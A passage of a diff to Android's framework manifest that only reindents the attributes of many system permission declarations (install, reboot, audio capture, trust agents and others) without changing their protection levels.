     <!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
          to ensure that only the system can bind to it.
          @hide -->
     <permission android:name="android.permission.BIND_REMOTE_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.media.tv.TvInputService}
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_TV_INPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
@@ -2544,7 +2544,7 @@
          <p>Not for use by third-party applications. </p>
          @hide  -->
     <permission android:name="android.permission.BIND_TV_REMOTE_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          Must be required for a virtual remote controller for TV.
@@ -2552,39 +2552,39 @@
          <p>Not for use by third-party applications. </p>
          @hide  -->
     <permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify parental controls
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
          <p>Protection level: signature|privileged
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.NOTIFY_TV_INPUTS"
-                android:protectionLevel="signature|privileged" />
+         android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.media.routing.MediaRouteService}
          to ensure that only the system can interact with it.
          @hide -->
     <permission android:name="android.permission.BIND_ROUTE_PROVIDER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by device administration receiver, to ensure that only the
          system can interact with it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_DEVICE_ADMIN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Required to add or remove another application as a device admin.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MANAGE_DEVICE_ADMINS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows low-level access to setting the orientation (actually
          rotation) of the screen.
@@ -2592,33 +2592,33 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ORIENTATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows low-level access to setting the pointer speed.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.SET_POINTER_SPEED"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows low-level access to setting input device calibration.
          <p>Not for use by normal applications.
          @hide -->
     <permission android:name="android.permission.SET_INPUT_CALIBRATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows low-level access to setting the keyboard layout.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SET_KEYBOARD_LAYOUT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to query tablet mode state and monitor changes
          in it.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.TABLET_MODE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to request installing packages. Apps
          targeting APIs greater than 25 must hold this permission in
@@ -2626,9 +2626,9 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"
-                android:label="@string/permlab_requestInstallPackages"
-                android:description="@string/permdesc_requestInstallPackages"
-                android:protectionLevel="signature|appop" />
+        android:label="@string/permlab_requestInstallPackages"
+        android:description="@string/permdesc_requestInstallPackages"
+        android:protectionLevel="signature|appop" />
 
     <!-- Allows an application to request deleting packages. Apps
          targeting APIs greater than 25 must hold this permission in
@@ -2636,41 +2636,41 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.REQUEST_DELETE_PACKAGES"
-                android:label="@string/permlab_requestDeletePackages"
-                android:description="@string/permdesc_requestDeletePackages"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_requestDeletePackages"
+        android:description="@string/permdesc_requestDeletePackages"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to install packages.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to clear user data.
          <p>Not for use by third-party applications
          @hide
     -->
     <permission android:name="android.permission.CLEAR_APP_USER_DATA"
-                android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer" />
 
     <!-- @hide Allows an application to get the URI permissions
          granted to another application.
          <p>Not for use by third-party applications
     -->
     <permission android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to clear the URI permissions
          granted to another application.
          <p>Not for use by third-party applications
     -->
     <permission
-            android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
-            android:protectionLevel="signature" />
+        android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to delete cache files.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DELETE_CACHE_FILES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to delete packages.
          <p>Not for use by third-party applications.
@@ -2678,120 +2678,120 @@
          when the application deleting the package is not the same application that installed the
          package. -->
     <permission android:name="android.permission.DELETE_PACKAGES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to move location of installed package.
          @hide -->
     <permission android:name="android.permission.MOVE_PACKAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to change whether an application component (other than its own) is
          enabled or not.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to grant specific permissions.
          @hide -->
     <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+        android:protectionLevel="signature|installer|verifier" />
 
     <!-- @SystemApi Allows an app that has this permission and the permissions to install packages
          to request certain runtime permissions to be granted at installation.
          @hide -->
     <permission android:name="android.permission.INSTALL_GRANT_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+        android:protectionLevel="signature|installer|verifier" />
 
     <!-- @SystemApi Allows an application to revoke specific permissions.
         @hide -->
     <permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"
-                android:protectionLevel="signature|installer|verifier" />
+         android:protectionLevel="signature|installer|verifier" />
 
     <!-- @hide Allows an application to observe permission changes. -->
     <permission android:name="android.permission.OBSERVE_GRANT_REVOKE_PERMISSIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to take screen shots and more generally
          get access to the frame buffer data.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_FRAME_BUFFER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to use InputFlinger's low level features.
          @hide -->
     <permission android:name="android.permission.ACCESS_INPUT_FLINGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to configure and connect to Wifi displays
          @hide -->
     <permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control low-level features of Wifi displays
          such as opening an RTSP socket.  This permission should only be used
          by the display manager.
          @hide -->
     <permission android:name="android.permission.CONTROL_WIFI_DISPLAY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control the color modes set for displays system-wide.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to control VPN.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CONTROL_VPN"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.CONTROL_VPN" />
 
     <!-- @SystemApi Allows an application to capture audio output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture audio for hotword detection.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture video output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to capture secure video output.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to know what content is playing and control its playback.
          <p>Not for use by third-party applications due to privacy of media consumption</p>  -->
     <permission android:name="android.permission.MEDIA_CONTENT_CONTROL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to set the volume key long-press listener.
          <p>When it's set, the application will receive the volume key long-press event
          instead of changing volume.</p>
          <p>Not for use by third-party applications</p> -->
     <permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi @hide Allows an application to set media key event listener.
          <p>When it's set, the application will receive the media key event before
@@ -2799,61 +2799,61 @@
          cannot get the event.</p>
          <p>Not for use by third-party applications</p> -->
     <permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Required to be able to disable the device (very dangerous!).
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.BRICK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Required to be able to reboot the device.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.REBOOT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows low-level access to power management.
-         <p>Not for use by third-party applications.
-         @hide
-     -->
-    <permission android:name="android.permission.DEVICE_POWER"
-                android:protectionLevel="signature" />
+   <!-- @SystemApi Allows low-level access to power management.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+   <permission android:name="android.permission.DEVICE_POWER"
+        android:protectionLevel="signature" />
 
-    <!-- Allows access to the PowerManager.userActivity function.
-    <p>Not for use by third-party applications. @hide @SystemApi -->
+   <!-- Allows access to the PowerManager.userActivity function.
+   <p>Not for use by third-party applications. @hide @SystemApi -->
     <permission android:name="android.permission.USER_ACTIVITY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
-    <!-- @hide Allows low-level access to tun tap driver -->
+   <!-- @hide Allows low-level access to tun tap driver -->
     <permission android:name="android.permission.NET_TUNNELING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Run as a manufacturer test application, running as the root user.
          Only available when the device is running in manufacturer test mode.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.FACTORY_TEST"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast a notification that an application
          package has been removed.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast an SMS receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_SMS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to broadcast a WAP PUSH receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_WAP_PUSH"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to broadcast privileged networking requests.
          <p>Not for use by third-party applications.
@@ -2861,87 +2861,87 @@
          @deprecated Use {@link android.Manifest.permission#REQUEST_NETWORK_SCORES} instead
     -->
     <permission android:name="android.permission.BROADCAST_NETWORK_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Not for use by third-party applications. -->
     <permission android:name="android.permission.MASTER_CLEAR"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to call any phone number, including emergency
          numbers, without going through the Dialer user interface for the user
          to confirm the call being placed.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CALL_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to perform CDMA OTA provisioning @hide -->
     <permission android:name="android.permission.PERFORM_CDMA_PROVISIONING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to perform SIM Activation @hide -->
     <permission android:name="android.permission.PERFORM_SIM_ACTIVATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows enabling/disabling location update notifications from
          the radio.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CONTROL_LOCATION_UPDATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows read/write access to the "properties" table in the checkin
          database, to change values that get uploaded.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to collect component usage
          statistics
          <p>Declaring the permission implies intention to use the API and the user of the
          device can grant permission through the Settings application. -->
     <permission android:name="android.permission.PACKAGE_USAGE_STATS"
-                android:protectionLevel="signature|privileged|development|appop" />
+        android:protectionLevel="signature|privileged|development|appop" />
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
     <!-- @hide Allows an application to change the app idle state of an app.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
          access the network and acquire wakelocks.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Permission an application must hold in order to use
          {@link android.provider.Settings#ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}.
          This is a normal permission: an app requesting it will always be granted the
          permission, without the user needing to approve or see it. -->
     <permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
-                android:label="@string/permlab_requestIgnoreBatteryOptimizations"
-                android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_requestIgnoreBatteryOptimizations"
+        android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to collect battery statistics -->
     <permission android:name="android.permission.BATTERY_STATS"
-                android:protectionLevel="signature|privileged|development" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi Allows an application to control the backup and restore process.
     <p>Not for use by third-party applications.
          @hide pending API council -->
     <permission android:name="android.permission.BACKUP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows a package to launch the secure full-backup confirmation UI.
          ONLY the system process may hold this permission.
          @hide -->
     <permission android:name="android.permission.CONFIRM_FULL_BACKUP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by a {@link android.widget.RemoteViewsService},
          to ensure that only the system can bind to it. -->
     <permission android:name="android.permission.BIND_REMOTEVIEWS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to tell the AppWidget service which application
          can access AppWidget's data.  The normal user flow is that a user
@@ -2950,25 +2950,25 @@
          An application that has this permission should honor that contract.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.BIND_APPWIDGET"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
          keyguard widget
          @hide -->
     <permission android:name="android.permission.BIND_KEYGUARD_APPWIDGET"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Internal permission allowing an application to query/set which
          applications can bind AppWidgets.
          @hide -->
     <permission android:name="android.permission.MODIFY_APPWIDGET_BIND_PERMISSIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to change the background data setting.
     <p>Not for use by third-party applications.
          @hide pending API council -->
     <permission android:name="android.permission.CHANGE_BACKGROUND_DATA_SETTING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi This permission can be used on content providers to allow the global
          search system to access their data.  Typically it used when the
@@ -2979,7 +2979,7 @@
          it is used by applications to protect themselves from everyone else
          besides global search. -->
     <permission android:name="android.permission.GLOBAL_SEARCH"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Internal permission protecting access to the global search
          system: ensures that only the system can access the provider
@@ -2989,33 +2989,33 @@
          ranking).
          @hide -->
     <permission android:name="android.permission.GLOBAL_SEARCH_CONTROL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Internal permission to allows an application to read indexable data.
         @hide -->
     <permission android:name="android.permission.READ_SEARCH_INDEXABLES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to set a live wallpaper.
          @hide XXX Change to signature once the picker is moved to its
          own apk as Ghod Intended. -->
     <permission android:name="android.permission.SET_WALLPAPER_COMPONENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to read dream settings and dream state.
          @hide -->
     <permission android:name="android.permission.READ_DREAM_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to write dream settings, and start or stop dreaming.
          @hide -->
     <permission android:name="android.permission.WRITE_DREAM_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allow an application to read and write the cache partition.
          @hide -->
     <permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by default container service so that only
          the system can bind to it and use it to copy
@@ -3023,67 +3023,67 @@
          accessible to the system.
          @hide -->
     <permission android:name="android.permission.COPY_PROTECTED_DATA"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Internal permission protecting access to the encryption methods
         @hide
     -->
     <permission android:name="android.permission.CRYPT_KEEPER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to read historical network usage for
          specific networks and applications. @hide -->
     <permission android:name="android.permission.READ_NETWORK_USAGE_HISTORY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to manage network policies (such as warning and disable
          limits) and to define application-specific rules. @hide -->
     <permission android:name="android.permission.MANAGE_NETWORK_POLICY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
          by system services like download manager and media server. Not for use by
          third party apps. @hide -->
     <permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- C2DM permission.
          @hide Used internally.
      -->
     <permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
-                android:protectionLevel="signature" />
+          android:protectionLevel="signature" />
     <uses-permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"/>
 
     <!-- @SystemApi @hide Package verifier needs to have this permission before the PackageManager will
          trust it to verify packages.
     -->
     <permission android:name="android.permission.PACKAGE_VERIFICATION_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by package verifier receiver, to ensure that only the
          system can interact with it.
          @hide
     -->
     <permission android:name="android.permission.BIND_PACKAGE_VERIFIER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Intent filter verifier needs to have this permission before the
          PackageManager will trust it to verify intent filters.
     -->
     <permission android:name="android.permission.INTENT_FILTER_VERIFICATION_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by intent filter verifier receiver, to ensure that only the
          system can interact with it.
          @hide
     -->
     <permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to access serial ports via the SerialManager.
          @hide -->
     <permission android:name="android.permission.SERIAL_PORT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the holder to access content providers from outside an ApplicationThread.
          This permission is enforced by the ActivityManagerService on the corresponding APIs,
@@ -3092,27 +3092,27 @@
          @hide
     -->
     <permission android:name="android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to hold an UpdateLock, recommending that a headless
          OTA reboot *not* occur while the lock is held.
          @hide -->
     <permission android:name="android.permission.UPDATE_LOCK"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to read the current set of notifications, including
          any metadata and intents attached.
          @hide -->
     <permission android:name="android.permission.ACCESS_NOTIFICATIONS"
-                android:protectionLevel="signature|privileged|appop" />
+        android:protectionLevel="signature|privileged|appop" />
 
     <!-- Marker permission for applications that wish to access notification policy.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"
-                android:description="@string/permdesc_access_notification_policy"
-                android:label="@string/permlab_access_notification_policy"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_access_notification_policy"
+        android:label="@string/permlab_access_notification_policy"
+        android:protectionLevel="normal" />
 
     <!-- Allows modification of do not disturb rules and policies. Only allowed for system
         processes.
@@ -3123,42 +3123,42 @@
     <!-- Allows access to keyguard secure storage.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows managing (adding, removing) fingerprint templates. Reserved for the system. @hide -->
     <permission android:name="android.permission.MANAGE_FINGERPRINT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an app to reset fingerprint attempt counter. Reserved for the system. @hide -->
     <permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control keyguard.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.CONTROL_KEYGUARD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to listen to trust changes.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.TRUST_LISTENER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to provide a trust agent.
          @hide For security reasons, this is a platform-only permission. -->
     <permission android:name="android.permission.PROVIDE_TRUST_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to launch the trust agent settings activity.
         @hide -->
     <permission android:name="android.permission.LAUNCH_TRUST_AGENT_SETTINGS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Must be required by an {@link
         android.service.trust.TrustAgentService},
         to ensure that only the system can bind to it.
         @hide -->
     <permission android:name="android.permission.BIND_TRUST_AGENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link
          android.service.notification.NotificationListenerService},
@@ -3166,7 +3166,7 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by an {@link
          android.service.notification.NotificationAssistantService} to ensure that only the system
@@ -3175,7 +3175,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_NOTIFICATION_ASSISTANT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link
          android.service.chooser.ChooserTargetService}, to ensure that
@@ -3183,7 +3183,7 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_CHOOSER_TARGET_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be held by services that extend
          {@link android.service.resolver.ResolverRankerService}.
@@ -3200,7 +3200,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_RESOLVER_RANKER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link
          android.service.notification.ConditionProviderService},
@@ -3208,14 +3208,14 @@
          <p>Protection level: signature
          -->
     <permission android:name="android.permission.BIND_CONDITION_PROVIDER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.service.dreams.DreamService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_DREAM_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.app.usage.CacheQuotaService} to ensure that only the
          system can bind to it.
@@ -3228,44 +3228,44 @@
          carrier setup application to enforce that this permission is required
          @hide This is not a third-party API (intended for OEMs and system apps). -->
     <permission android:name="android.permission.INVOKE_CARRIER_SETUP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to listen for network condition observations.
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.ACCESS_NETWORK_CONDITIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to provision and access DRM certificates
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.ACCESS_DRM_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Api Allows an application to manage media projection sessions.
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.MANAGE_MEDIA_PROJECTION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to read install sessions
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.READ_INSTALL_SESSIONS"
-                android:label="@string/permlab_readInstallSessions"
-                android:description="@string/permdesc_readInstallSessions"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_readInstallSessions"
+        android:description="@string/permdesc_readInstallSessions"
+        android:protectionLevel="normal"/>
 
     <!-- @SystemApi Allows an application to remove DRM certificates
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.REMOVE_DRM_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
